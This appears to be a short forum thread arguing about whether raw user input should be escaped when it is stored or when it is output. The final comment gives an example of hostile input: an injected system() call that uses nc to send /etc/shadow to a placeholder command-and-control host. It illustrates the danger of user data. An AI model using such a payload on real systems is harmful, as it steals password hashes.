ingesting raw user input is good
emitting raw user input is bad
emitting raw user input is bad
Seems to me you always have to be careful with user-supplied data.
I guess the definition of "injest" here is reading bytes off the wire?
you still have to be careful, and when you follow all the right best practices you can safely ingest raw user input.
I've worked at a company that escaped user input before inserting into the DB. it's a horrible nightmare I don't think anyone should have to experience.
I don't know Python, so this is a pseudo code example that a user could enter:
"{system('nc c_and_c_box.example < /etc/shadow \
> /dev/null')} Nothing to see here, move along"